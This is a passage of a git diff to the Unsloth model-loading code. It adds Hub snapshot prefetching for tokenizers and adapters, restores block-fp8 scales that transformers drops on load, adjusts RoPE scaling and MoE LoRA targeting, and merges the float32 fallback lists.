+            subfolder = kwargs.get("subfolder"),
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            from_tf = kwargs.get("from_tf", False),
+            from_flax = kwargs.get("from_flax", False),
+            # Bare load reads only ROOT weights; skip subdir weights. Ignored when a subfolder is set.
+            weights_at_root = True,
+            variant = kwargs.get("variant"),  # forward so the warm keeps the variant .bin
+            gguf_file = kwargs.get(
+                "gguf_file"
+            ),  # forward so the warm fetches the GGUF (else ignored)
+        )
+        # Child did the forced download; clear the flag so the load reuses the warm cache.
+        if _prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
+        # Tokenizer always loads in-process. Resolve the cache_dir the tokenizer load will actually
+        # use, mirroring load_correct_tokenizer: without an explicit cache_dir, Colab/Kaggle route to
+        # a special tokenizer cache (huggingface_tokenizers_cache / Kaggle tmp), NOT the HF-default
+        # cache the base snapshot warmed. So the base warm does not cover the tokenizer there.
+        from ..tokenizer_utils import (
+            IS_COLAB_ENVIRONMENT,
+            IS_KAGGLE_ENVIRONMENT,
+            KAGGLE_TMP,
+        )
+
+        _tokenizer_repo = (
+            tokenizer_name if (isinstance(tokenizer_name, str) and tokenizer_name) else model_name
+        )
+        _tokenizer_cache_dir = kwargs.get("cache_dir")
+        if _tokenizer_cache_dir is None:
+            if IS_COLAB_ENVIRONMENT:
+                _tokenizer_cache_dir = "huggingface_tokenizers_cache"
+            elif IS_KAGGLE_ENVIRONMENT:
+                _tokenizer_cache_dir = os.path.join(KAGGLE_TMP, "huggingface_tokenizers_cache")
+        # Warm the tokenizer repo into the cache the load will use whenever the base warm did not
+        # cover it: a distinct tokenizer repo, fast_inference (base warm skipped), or a tokenizer
+        # cache_dir that differs from the base-warm cache_dir (Colab/Kaggle special cache).
+        _warm_tokenizer_repo = (
+            isinstance(_tokenizer_repo, str)
+            and bool(_tokenizer_repo)
+            and (
+                _tokenizer_repo != model_name
+                or fast_inference
+                or _tokenizer_cache_dir != kwargs.get("cache_dir")
+            )
+        )
+        if _warm_tokenizer_repo:
+            maybe_prefetch_hf_snapshot(
+                _tokenizer_repo,
+                token = token,
+                cache_dir = _tokenizer_cache_dir,
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         has_rope_scaling = False
         try:
             with open(inspect.getfile(model_function), "r", encoding = "utf-8") as file:
@@ -2433,34 +2542,33 @@ class FastLlamaModel:
             max_seq_length = model_max_seq_length
 
         if (rope_scaling is None) and (max_seq_length > model_max_seq_length):
-            rope_scaling = max_seq_length / model_max_seq_length
+            factor = max_seq_length / model_max_seq_length
 
             if fast_inference:
                 raise NotImplementedError(
                     "Unsloth: Fast inference does not yet work with RoPE Scaling."
                 )
 
-            logger.warning_once(
-                f"Unsloth: {model_name} can only handle sequence lengths of at most "
-                f"{model_max_seq_length}.\nBut with kaiokendev's RoPE scaling of "
-                f"{round(rope_scaling, 3)}, it can be magically be extended to "
-                f"{max_seq_length}!"
-            )
-
-            # Warn RoPE scaling isn't allowed
-            if not has_rope_scaling:
-                raise RuntimeError(
-                    f"However, {model_name} doesn't support RoPE Scaling!\n"
-                    "Please file a feature request at https://github.com/unslothai/unsloth."
+            linear_scaling, native_type = _extended_rope_scaling(model_config, factor)
+            if linear_scaling is not None:
+                logger.warning_once(
+                    f"Unsloth: {model_name} can only handle sequence lengths of at most "
+                    f"{model_max_seq_length}.\nBut with kaiokendev's RoPE scaling of "
+                    f"{round(factor, 3)}, it can be magically be extended to "
+                    f"{max_seq_length}!"
+                )
+                if not has_rope_scaling:
+                    raise RuntimeError(
+                        f"However, {model_name} doesn't support RoPE Scaling!\n"
+                        "Please file a feature request at https://github.com/unslothai/unsloth."
+                    )
+                kwargs["rope_scaling"] = linear_scaling
+            else:
+                # Native llama3 scaling already handles long context; just widen the window.
+                logger.warning_once(
+                    f"Unsloth: extending {model_name} to {max_seq_length} using its native "
+                    f"{native_type} RoPE scaling."
                 )
-
-            rope_scaling = {
-                "type": "linear",
-                "factor": rope_scaling,
-            }
-
-            # Add to kwargs
-            kwargs["rope_scaling"] = rope_scaling
 
         from .loader_utils import (
             check_and_disable_bitsandbytes_loading,
@@ -2574,6 +2682,18 @@ class FastLlamaModel:
                     offload_embedding = False,
                     fast_inference = fast_inference,
                 )
+                # Re-apply block-fp8 weight_scale_inv tensors transformers dropped on load (#6200).
+                _restore_dropped_fp8_scales(
+                    model,
+                    model_name,
+                    local_files_only = kwargs.get("local_files_only", False),
+                    token = token,
+                    # Weights load from the default branch (revision not forwarded), so read scales from there too.
+                    revision = None,
+                    subfolder = kwargs.get("subfolder"),
+                    cache_dir = kwargs.get("cache_dir"),
+                    variant = kwargs.get("variant"),
+                )
             elif not fast_inference:
                 if user_config is not None:
                     # Transformers 5.x @strict model init rejects extra kwargs next
@@ -2612,6 +2732,18 @@ class FastLlamaModel:
                     offload_embedding = False,
                     fast_inference = False,
                 )
+                # Re-apply block-fp8 weight_scale_inv tensors transformers dropped on load (#6200).
+                _restore_dropped_fp8_scales(
+                    model,
+                    model_name,
+                    local_files_only = kwargs.get("local_files_only", False),
+                    token = token,
+                    # Weights load from the default branch (revision not forwarded), so read scales from there too.
+                    revision = None,
+                    subfolder = kwargs.get("subfolder"),
+                    cache_dir = kwargs.get("cache_dir"),
+                    variant = kwargs.get("variant"),
+                )
                 model.fast_generate = make_fast_generate_wrapper(model.generate)
                 model.fast_generate_batches = None
             else:
@@ -2672,6 +2804,10 @@ class FastLlamaModel:
 
         # Counteract saved tokenizers
         tokenizer_name = model_name if tokenizer_name is None else tokenizer_name
+        # Route the tokenizer load to the custom cache_dir the prefetch warmed.
+        _tokenizer_cache_kwargs = {}
+        if kwargs.get("cache_dir") is not None:
+            _tokenizer_cache_kwargs["cache_dir"] = kwargs["cache_dir"]
         tokenizer = load_correct_tokenizer(
             tokenizer_name = tokenizer_name,
             model_max_length = max_position_embeddings,
@@ -2679,6 +2815,7 @@ class FastLlamaModel:
             token = token,
             trust_remote_code = trust_remote_code,
             fix_tokenizer = fix_tokenizer,
+            **_tokenizer_cache_kwargs,
         )
 
         model, tokenizer = patch_tokenizer(model, tokenizer)
@@ -2805,6 +2942,7 @@ class FastLlamaModel:
                 model_max_length = max_position_embeddings,
                 padding_side = "right",
                 token = token,
+                cache_dir = kwargs.get("cache_dir"),
             )
         patch_saving_functions(tokenizer)
 
@@ -3014,6 +3152,11 @@ class FastLlamaModel:
             new_target_modules = list(target_modules) + list(
                 modules_to_save if modules_to_save is not None else []
             )
+            # Per-expert Linear MoE experts (e.g. gpt-oss bnb-4bit) were auto-added to the
+            # saved target_modules when the adapter was first created. Recompute them so a
+            # repeat get_peft_model call with the same args stays idempotent instead of
+            # tripping the mismatch below. No-op for non per-expert-Linear models.
+            new_target_modules += get_moe_target_modules(model, target_modules)
 
             # Now check!
             new_target_modules = set(new_target_modules)
@@ -3047,6 +3190,9 @@ class FastLlamaModel:
                 # Pre-wrapped PEFT model passes through here; still arm the detector so an RL
                 # trainer can reset a compile cache poisoned by a pre-train forward.
                 _unsloth_install_pretrain_detector(model)
+                # This branch returns before patch_peft_model, so record here too;
+                # apply_unsloth_gradient_checkpointing above already re-patched global state to match (#4735).
+                model._unsloth_gradient_checkpointing = use_gradient_checkpointing
                 model = _exclude_rope_inv_freq_from_ddp(model)
                 return model
             else:
@@ -3237,6 +3383,19 @@ class FastLlamaModel:
         if target_parameters is None:
             target_parameters = get_moe_target_parameters(model, target_modules)
 
+        # Per-expert Linear expert layouts (e.g. gpt-oss bnb-4bit) are Linear modules,
+        # not fused Parameters, so target them via target_modules. No-op otherwise.
+        _moe_module_targets = get_moe_target_modules(model, target_modules)
+        if _moe_module_targets:
+            _added = [t for t in _moe_module_targets if t not in final_modules]
+            final_modules.extend(_added)
+            if _added:
+                print(
+                    f"Unsloth: Detected MoE model with per-expert Linear experts. "
+                    f"Enabling LoRA on {len(_added)} expert projection modules."
+                )
+                warn_if_zoo_cannot_merge_moe_experts()
+
         if finetune_last_n_layers is not None and layers_to_transform is None:
             from .vision import _get_total_transformer_layers
             _total_layers = _get_total_transformer_layers(model)
@@ -3406,6 +3565,11 @@ class FastLlamaModel:
 
     @staticmethod
     def patch_peft_model(model, use_gradient_checkpointing = "unsloth"):
+        # Persist the effective GC mode so the trainer restores it verbatim: for_inference()
+        # clears the module flags every GRPO step, and a plain TrainingArguments defaults it to
+        # False, which would otherwise silently disable it at train time (#4735). Recorded here,
+        # not in get_peft_model, so adapters loaded via loader.py's from_pretrained path are covered.
+        model._unsloth_gradient_checkpointing = use_gradient_checkpointing
         if os.environ.get("UNSLOTH_USE_NEW_MODEL", "0") == "1":
             return FastBaseModel.patch_peft_model(
                 model = model,
@@ -3735,4 +3899,17 @@ class FastLlamaModel:
 
 from .rl import PatchFastRL
 
+# Auto-enable grouped-GEMM MoE (tf<5 ModuleList experts) on built / PEFT'd models. Wrap the
+# loader leaves before PatchFastRL so downstream patchers see the wrapped versions. Guarded.
+try:
+    from unsloth_zoo.temporary_patches.moe_grouped_modulelist import wrap_loader_for_grouped_moe
+    FastLlamaModel.from_pretrained = staticmethod(
+        wrap_loader_for_grouped_moe(FastLlamaModel.from_pretrained)
+    )
+    FastLlamaModel.get_peft_model = staticmethod(
+        wrap_loader_for_grouped_moe(FastLlamaModel.get_peft_model)
+    )
+except Exception:
+    pass
+
 PatchFastRL(FastLanguageModel = FastLlamaModel)
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 562afdd645..13342157b0 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -21,6 +21,10 @@ from ._utils import (
     USE_MODELSCOPE,
     get_transformers_model_type,
     hf_login,
+    # Single source of truth is _utils.py; re-exported here so callers doing
+    # `from unsloth.models.loader import DISABLE_SDPA_MODEL_NAMES` keep working and so
+    # _is_sdpa_excluded (in _utils) can honor it without a loader -> _utils cycle.
+    DISABLE_SDPA_MODEL_NAMES,
 )
 from .granite import FastGraniteModel
 from .llama import FastLlamaModel, logger
@@ -106,24 +110,31 @@ from ._utils import (
     _is_family_text_decoder,
     _apply_text_only_key_mapping,
     set_task_config_attr,
+    maybe_prefetch_hf_snapshot,
 )
 
-# Single source of truth is unsloth_zoo.model_lists. Re-exported so callers
-# doing `from unsloth.models.loader import FORCE_FLOAT32` keep working.
-# Fallback list mirrors zoo for users who upgrade unsloth without upgrading
-# unsloth_zoo (so this module never fails at import).
+# Source of truth is unsloth_zoo.model_lists. Re-exported so callers doing
+# `from unsloth.models.loader import FORCE_FLOAT32` keep working. The fallback
+# list is also unioned in so a newer unsloth still forces float32 for these
+# archs when paired with an older unsloth_zoo that predates them (upgrade skew).
+_FORCE_FLOAT32_FALLBACK = [
+    "gemma3,",  # Add comma bc gemma3 will match gemma3n
+    "gemma3text",  # Gemma3TextModel (EmbeddingGemma, standalone text-only Gemma3)
+    "gemma3n",
+    "gemma4",  # Gemma4 (gemma4 / gemma4_text): float16 NaNs grad norms in the backward
+    "glm4_moe",  # GLM-4.x MoE (glm4_moe / glm4_moe_lite): float16 NaNs grad norms
+    "gpt_oss",
+    "qwen3_5",  # Qwen3.5 GDN layers produce NaN grad norms in float16 training
+    "qwen3_moe",  # Qwen3-MoE (Qwen3-30B-A3B): float16 NaNs grad norms in the backward
+]
 try:
-    from unsloth_zoo import FORCE_FLOAT32  # noqa: F401
+    from unsloth_zoo import FORCE_FLOAT32 as _ZOO_FORCE_FLOAT32
+    FORCE_FLOAT32 = list(_ZOO_FORCE_FLOAT32)
 except ImportError:
-    global FORCE_FLOAT32
-    # Forces float32 precision since float16 goes to infinity
-    FORCE_FLOAT32 = [
-        "gemma3,",  # Add comma bc gemma3 will match gemma3n
-        "gemma3text",  # Gemma3TextModel (EmbeddingGemma, standalone text-only Gemma3)
-        "gemma3n",
-        "gpt_oss",
-        "qwen3_5",  # Qwen3.5 GDN layers produce NaN grad norms in float16 training
-    ]
+    FORCE_FLOAT32 = []
+for _mt in _FORCE_FLOAT32_FALLBACK:
+    if not any(_mt in _entry for _entry in FORCE_FLOAT32):
+        FORCE_FLOAT32.append(_mt)
 
 global DISABLE_COMPILE_MODEL_NAMES
 # Must be alphabetically sorted for each entry
@@ -195,13 +206,44 @@ DISABLE_COMPILE_MODEL_NAMES = [
     "granite,llava_next",  # Granite-vision 3
 ]
 
-global DISABLE_SDPA_MODEL_NAMES
-# Disables some SDPA modules since it's wrong
-DISABLE_SDPA_MODEL_NAMES = [
-    "gemma3,",  # Add comma bc gemma3 will match gemma3n
-    "gemma3_text",  # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore
-    "gpt_oss",
-]
+# Architectures with gated-deltanet (linear attention) layers. Unsloth bundles the
+# flash-linear-attention Triton kernels (unsloth_zoo/_vendored/fla), so no install is
+# needed; transformers uses the much slower pure PyTorch path only when they can't be enabled.
+FLA_MODEL_TYPE_PREFIXES = ("qwen3_next", "qwen3_5", "kimi_linear", "olmo_hybrid")
+_fla_advised = False
+
+
+def _maybe_advise_fla_install(model_types):
+    """One-time note when a gated-deltanet model loads without the fast kernels.
+
+    The kernels ship with Unsloth (no install needed); this fires only when they
+    could not be enabled on this platform (e.g. no CUDA, torch < 2.7 or
+    triton < 3.3), i.e. exactly when transformers uses the slow pure PyTorch path.
+    """
+    global _fla_advised
+    if _fla_advised:
+        return
+    if model_types is None:
+        return
+    if isinstance(model_types, str):
+        model_types = [model_types]  # a lone string would otherwise iterate chars
+    try:
+        if not any(
+            isinstance(t, str) and t.startswith(FLA_MODEL_TYPE_PREFIXES) for t in model_types
+        ):
+            return
+        from transformers.utils.import_utils import is_flash_linear_attention_available
+        if is_flash_linear_attention_available():
+            return  # bundled (or user-installed) fast kernels are active
+    except Exception:
+        return
+    _fla_advised = True
+    print(
+        "Unsloth: This model uses gated-deltanet linear attention layers. Unsloth\n"
+        "bundles the flash-linear-attention kernels, but they could not be enabled\n"
+        "on this setup (they need CUDA with torch >= 2.7 and triton >= 3.3), so\n"
+        "transformers will use a slower pure PyTorch path."
+    )
 
 
 def _fix_rope_inv_freq(model):
@@ -227,14 +269,18 @@ def _fix_rope_inv_freq(model):
             and hasattr(module, "_apply_inv_freq_scaling")
             and hasattr(module, "multi_gpu_cos_cached")
         ):
-            inv_freq = 1.0 / (
-                module.base
-                ** (
-                    torch.arange(0, module.dim, 2, dtype = torch.int64, device = "cpu").float()
-                    / module.dim
+            if hasattr(module, "_unsloth_recompute_inv_freq"):
+                # Restore config scaling (llama3/yarn); unscaled here broke v5.
+                inv_freq = module._unsloth_recompute_inv_freq()
+            else:
+                inv_freq = 1.0 / (
+                    module.base
+                    ** (
+                        torch.arange(0, module.dim, 2, dtype = torch.int64, device = "cpu").float()
+                        / module.dim
+                    )
                 )
-            )
-            inv_freq = module._apply_inv_freq_scaling(inv_freq)
+                inv_freq = module._apply_inv_freq_scaling(inv_freq)
             module.inv_freq = inv_freq
             for device_idx in range(len(module.multi_gpu_cos_cached)):
                 if module.multi_gpu_cos_cached[device_idx] is not None:
@@ -469,8 +515,10 @@ class FastLanguageModel(FastLlamaModel):
             ("-unsloth-bnb-4bit", "-bnb-4bit")
         ):
             model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-        # Change -BF16 to all False for 4bit, 8bit etc
-        if model_name.lower().endswith("-bf16"):
+        # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+        if model_name.lower().endswith("-bf16") and (
+            load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+        ):
             load_in_4bit = False
             load_in_8bit = False
             load_in_fp8 = False
@@ -628,8 +676,10 @@ class FastLanguageModel(FastLlamaModel):
                 ("-unsloth-bnb-4bit", "-bnb-4bit")
             ):
                 model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-            # Change -BF16 to all False for 4bit, 8bit etc
-            if model_name.lower().endswith("-bf16"):
+            # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+            if model_name.lower().endswith("-bf16") and (
+                load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+            ):
                 load_in_4bit = False
                 load_in_8bit = False
                 load_in_fp8 = False
@@ -865,6 +915,28 @@ class FastLanguageModel(FastLlamaModel):
         if is_peft:
             # From https://github.com/huggingface/peft/issues/184
             # Now add PEFT adapters
+            # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet.
+            _prefetched = maybe_prefetch_hf_snapshot(
+                old_model_name,
+                token = token,
+                revision = revision,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = local_files_only,
+                # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.
+                fast_inference = False,
+                force_download = kwargs.get("force_download", False),
+                # Leave use_safetensors auto (inheriting base format could skip a safetensors-only
+                # adapter). adapter_only restricts the warm to the adapter files + root aux.
+                adapter_only = True,
+            )
+            # Child did the forced download; clear the flag so the load reuses the warm cache.
+            if _prefetched and kwargs.get("force_download", False):
+                kwargs["force_download"] = False
+            # Forward cache_dir so the load reads the warmed adapter. No subfolder (that targets the
+            # base checkpoint; adapters live at the root).
+            peft_load_kwargs = {}
+            if kwargs.get("cache_dir") is not None:
+                peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]
             model = PeftModel.from_pretrained(
                 model,
                 old_model_name,
@@ -873,9 +945,19 @@ class FastLanguageModel(FastLlamaModel):
                 local_files_only = local_files_only,
                 is_trainable = True,
                 trust_remote_code = trust_remote_code,
+                **peft_load_kwargs,
             )
             # Patch it as well!
             model = dispatch_model.patch_peft_model(model, use_gradient_checkpointing)
+            # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back
+            # to the original loop, an attention-only adapter keeps the grouped path. Guarded.
+            try:
+                from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (
+                    auto_enable_grouped_moe,
+                )
+                auto_enable_grouped_moe(model)
+            except Exception:
+                pass  # optional speedup; never block model loading
 
         # Patch Tiled MLP
         # to turn on set UNSLOTH_TILED_MLP to "arctic", "target", or "target:{GB}""
@@ -1116,8 +1198,10 @@ class FastModel(FastBaseModel):
             ("-unsloth-bnb-4bit", "-bnb-4bit")
         ):
             model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-        # Change -BF16 to all False for 4bit, 8bit etc
-        if model_name.lower().endswith("-bf16"):
+        # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+        if model_name.lower().endswith("-bf16") and (
+            load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+        ):
             load_in_4bit = False
             load_in_8bit = False
             load_in_fp8 = False
@@ -1263,6 +1347,7 @@ class FastModel(FastBaseModel):
             trust_remote_code = trust_remote_code,
         )
         model_types_all = ",".join(model_types) + ","
+        _maybe_advise_fla_install(model_types)
 
         # ---- Text-diffusion models (e.g. DiffusionGemma) take a transformers-only slow path. ----
         # These use a custom block-diffusion `generate` and a novel backbone, so we skip Unsloth's
@@ -1474,8 +1559,10 @@ class FastModel(FastBaseModel):
                 ("-unsloth-bnb-4bit", "-bnb-4bit")
             ):
                 model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-            # Change -BF16 to all False for 4bit, 8bit etc
-            if model_name.lower().endswith("-bf16"):
+            # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+            if model_name.lower().endswith("-bf16") and (
+                load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+            ):
                 load_in_4bit = False
                 load_in_8bit = False
                 load_in_fp8 = False
@@ -1790,6 +1877,28 @@ class FastModel(FastBaseModel):
 
                 _LoraModel._create_and_replace = _patched_car
 
+            # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet.
+            _prefetched = maybe_prefetch_hf_snapshot(
+                old_model_name,
+                token = token,
+                revision = revision,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = local_files_only,
+                # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.
+                fast_inference = False,
+                force_download = kwargs.get("force_download", False),
+                # Leave use_safetensors auto (inheriting base format could skip a safetensors-only
+                # adapter). adapter_only restricts the warm to the adapter files + root aux.
+                adapter_only = True,
+            )
+            # Child did the forced download; clear the flag so the load reuses the warm cache.
+            if _prefetched and kwargs.get("force_download", False):
+                kwargs["force_download"] = False
+            # Forward cache_dir so the load reads the warmed adapter. No subfolder (that targets the
+            # base checkpoint; adapters live at the root).
+            peft_load_kwargs = {}
+            if kwargs.get("cache_dir") is not None:
+                peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]
             try:
                 model = PeftModel.from_pretrained(
                     model,
@@ -1799,6 +1908,7 @@ class FastModel(FastBaseModel):
                     local_files_only = local_files_only,
                     is_trainable = True,
                     trust_remote_code = trust_remote_code,
+                    **peft_load_kwargs,
                 )
             finally:
                 # Always restore original PEFT method, even if loading fails
@@ -1809,6 +1919,15 @@ class FastModel(FastBaseModel):
             model = FastBaseModel.post_patch_model(
                 model, use_gradient_checkpointing, trust_remote_code = trust_remote_code
             )
+            # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back
+            # to the original loop, an attention-only adapter keeps the grouped path. Guarded.
+            try:
+                from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (
+                    auto_enable_grouped_moe,
+                )
+                auto_enable_grouped_moe(model)
+            except Exception:
+                pass  # optional speedup; never block model loading
 
         # Apply QAT if specified
         if qat_scheme is not None:
diff --git a/unsloth/models/loader_utils.py b/unsloth/models/loader_utils.py
index d6d6ce877e..1e9cc641e9 100644
--- a/unsloth/models/loader_utils.py
+++ b/unsloth/models/loader_utils.py
@@ -239,6 +239,11 @@ def get_model_name(
         and new_model_name.lower() in BAD_MAPPINGS
     ):
         new_model_name = BAD_MAPPINGS[new_model_name.lower()]
+    elif new_model_name is None and model_name.lower() in BAD_MAPPINGS:
+        # Some bad names (e.g. the `-unsloth-bnb-4bit` dynamic quants) are keys
+        # of the mappers, not values, so the resolver returns None for them and
+        # the remap above is skipped; remap the input name directly instead.
+        new_model_name = BAD_MAPPINGS[model_name.lower()]
 
     if (
         new_model_name is None
@@ -362,6 +367,287 @@ def _tag_model_with_fp8_torchao_config(model: torch.nn.Module, fp8_mode: str):
         pass
 
 
+_FP8_DTYPES = tuple(
+    dtype
+    for dtype in (getattr(torch, "float8_e4m3fn", None), getattr(torch, "float8_e5m2", None))
+    if dtype is not None
+)
+
+
+def _fp8_block_size_from_config(model):
+    """Return the [block_out, block_in] block size of an fp8 checkpoint, or None if not block-fp8."""
+    config = getattr(model, "config", None)
+    quant = getattr(config, "quantization_config", None)
+    if quant is None:
+        return None
+    if hasattr(quant, "to_dict"):
+        quant = quant.to_dict()
+    if not isinstance(quant, dict):
+        return None
+    if quant.get("quant_method") != "fp8":
+        return None
+    block = quant.get("weight_block_size")
+    if not block:
+        return None
+    if isinstance(block, (int, float)):
+        block = [block, block]
+    elif isinstance(block, (list, tuple)):
+        if len(block) == 1:
+            block = [block[0], block[0]]
+        elif len(block) < 2:
+            return None
+    else:
+        return None
+    return [int(block[0]), int(block[1])]
+
+
+def _load_fp8_weight_map(
+    model_name,
+    local_files_only,
+    token,
+    revision = None,
+    subfolder = None,
+    cache_dir = None,
+):
+    """Return the checkpoint's tensor->file map, using the same snapshot the load used.
+
+    Prefers the sharded `model.safetensors.index.json`; falls back to a single `model.safetensors`
+    (every tensor maps to that one file) so unsharded checkpoints are covered too.
+    """
+
+    def _local_path(filename):
+        return (
+            os.path.join(model_name, subfolder, filename)
+            if subfolder
+            else os.path.join(model_name, filename)
+        )
+
+    def _remote_path(filename):
+        from huggingface_hub import hf_hub_download
+        return hf_hub_download(
+            model_name,
+            filename,
+            revision = revision,
+            subfolder = subfolder,
+            cache_dir = cache_dir,
+            local_files_only = local_files_only,
+            token = token,
+        )
+
+    index_file = "model.safetensors.index.json"
+    single_file = "model.safetensors"
+    is_local = os.path.isdir(model_name)
+
+    # Sharded checkpoint.
+    if is_local and os.path.exists(_local_path(index_file)):
+        index_path = _local_path(index_file)
+    elif not is_local:
+        try:
+            index_path = _remote_path(index_file)
+        except Exception:
+            index_path = None
+    else:
+        index_path = None
+    if index_path is not None:
+        import json
+        with open(index_path, "r") as f:
+            return json.load(f).get("weight_map", None)
+
+    # Unsharded single file: map every tensor to it.
+    try:
+        if is_local and os.path.exists(_local_path(single_file)):
+            single_path = _local_path(single_file)
+        elif not is_local:
+            single_path = _remote_path(single_file)
+        else:
+            return None
+        from safetensors import safe_open
+        with safe_open(single_path, framework = "pt") as f:
+            return {key: single_file for key in f.keys()}
+    except Exception:
+        return None
+
+
+def _resolve_fp8_shard(
+    model_name,
+    shard,
+    local_files_only,
+    token,
+    revision = None,
+    subfolder = None,
+    cache_dir = None,
+):
+    """Resolve a checkpoint shard filename to a local path (repo id or local dir)."""
+    if os.path.isdir(model_name):
+        return (
+            os.path.join(model_name, subfolder, shard)
+            if subfolder
+            else os.path.join(model_name, shard)
+        )
+    from huggingface_hub import hf_hub_download
+
+    return hf_hub_download(
+        model_name,
+        shard,
+        revision = revision,
+        subfolder = subfolder,
+        cache_dir = cache_dir,
+        local_files_only = local_files_only,
+        token = token,
+    )
+
+
+def _match_fp8_module(module_by_name, base):
+    """Resolve a checkpoint module name to a live module, allowing for VLM key remappings.
+
+    VLM loads can name the text tower differently from the checkpoint keys: `text_only=True`
+    strips the `language_model.` wrapper (so `model.language_model.layers.*` -> `model.layers.*`),
+    and full VLM loads may expose `model.language_model.*` while the checkpoint stores
+    `language_model.model.*`. Try the raw key first, then a few safe remappings.
+    """
+    if base in module_by_name:
+        return module_by_name[base]
+    candidates = []
+    if "language_model." in base:
+        candidates.append(base.replace("language_model.", "", 1))  # text-only: drop wrapper
+    if "language_model.model." in base:
+        candidates.append(base.replace("language_model.model.", "model.language_model.", 1))
+    if base.startswith("language_model."):
+        candidates.append("model." + base)  # add model. prefix
+    for candidate in candidates:
+        if candidate in module_by_name:
+            return module_by_name[candidate]
+    return None
+
+
+def _restore_dropped_fp8_scales(
+    model,
+    model_name,
+    *,
+    local_files_only = False,
+    token = None,
+    revision = None,
+    subfolder = None,
+    cache_dir = None,
+    variant = None,
+):
+    """Re-apply block-fp8 `weight_scale_inv` tensors that transformers dropped on load.
+
+    On some block-scale fp8 checkpoints (e.g. Qwen3.6-27B-FP8, issue #6200) transformers fails to
+    convert a Linear (such as `mlp.gate_proj`) to an fp8 module, loading the raw quantized values
+    into a plain bf16 weight and discarding its `weight_scale_inv` as an unexpected key. The weight
+    is then used un-scaled, producing a garbage model. For every checkpoint scale whose live weight
+    is not fp8, dequantize the orphaned weight in place. Modules that were converted correctly keep
+    an fp8 weight and are skipped, so a healthy checkpoint is a no-op. Returns (restored, skipped).
+    """
+    try:
+        block = _fp8_block_size_from_config(model)
+        if block is None or not _FP8_DTYPES:
+            return (0, 0)
+        # A variant load reads variant-named files; skip to avoid applying default scales to them.
+        if variant:
+            return (0, 0)
+        # No fp8 params means the checkpoint was dequantized on purpose (e.g. load_in_16bit);
+        # re-applying a scale would corrupt those already-correct 16bit weights, so do nothing.
+        if not any(p.dtype in _FP8_DTYPES for p in model.parameters()):
+            return (0, 0)
+        weight_map = _load_fp8_weight_map(
+            model_name, local_files_only, token, revision, subfolder, cache_dir
+        )
+        if not weight_map:
+            return (0, 0)
+
+        scale_keys = {k: v for k, v in weight_map.items() if k.endswith(".weight_scale_inv")}
+        if not scale_keys:
+            return (0, 0)
+
+        module_by_name = dict(model.named_modules())
+        bs0, bs1 = block
+        restored = 0
+        skipped = 0
+        failed = 0
+        offloaded = 0
+        shard_cache = {}
+        for scale_key, shard in scale_keys.items():
+            base = scale_key[: -len(".weight_scale_inv")]
+            module = _match_fp8_module(module_by_name, base)
+            if module is None:
+                continue
+            weight = getattr(module, "weight", None)
+            if not isinstance(weight, torch.Tensor) or weight.ndim != 2:
+                continue
+            if weight.device.type == "meta":
+                # Disk-offloaded layer: weight lives on meta until forward, so it cannot be
+                # scaled in place here. Count and warn rather than silently leave it unscaled.
+                offloaded += 1
+                continue
+            if weight.dtype in _FP8_DTYPES:
+                # Correctly converted fp8 module: the fp8 path already handles the scale.
+                skipped += 1
+                continue
+
+            # Errors after this point are per-tensor: warn and continue, never abort or hide them.
+            try:
+                if shard not in shard_cache:
+                    from safetensors import safe_open
+                    shard_path = _resolve_fp8_shard(
+                        model_name,
+                        shard,
+                        local_files_only,
+                        token,
+                        revision,
+                        subfolder,
+                        cache_dir,
+                    )
+                    shard_cache[shard] = safe_open(shard_path, framework = "pt")
+                scale = shard_cache[shard].get_tensor(scale_key).to(torch.float32)
+
+                out_features, in_features = weight.shape
+                out_blocks = (out_features + bs0 - 1) // bs0
+                in_blocks = (in_features + bs1 - 1) // bs1
+                if tuple(scale.shape) == (out_blocks, in_blocks):
+                    pass
+                elif tuple(scale.shape) == (in_blocks, out_blocks) and out_blocks != in_blocks:
+                    # Transposed block layout: same handling as the fp8 forward path.
+                    scale = scale.t().contiguous()
+                else:
+                    # Shape does not match the block grid: skip rather than apply a wrong scale.
+                    continue
+                scale = scale.to(weight.device)
+                with torch.no_grad():
+                    if out_features % bs0 == 0 and in_features % bs1 == 0:
+                        # Memory-frugal path: multiply block views in place against the broadcast
+                        # fp32 scale, avoiding a full expanded scale and fp32 copy that could OOM.
+                        # The in-place multiply promotes to fp32, matching the fallback exactly.
+                        module.weight.data.view(out_blocks, bs0, in_blocks, bs1).mul_(
+                            scale[:, None, :, None]
+                        )
+                    else:
+                        scale_expanded = scale.repeat_interleave(bs0, dim = 0).repeat_interleave(
+                            bs1, dim = 1
+                        )[:out_features, :in_features]
+                        module.weight.data = (weight.to(torch.float32) * scale_expanded).to(
+                            weight.dtype
+                        )
+                restored += 1
+            except Exception:
+                failed += 1
+                continue
+
+        if restored > 0:
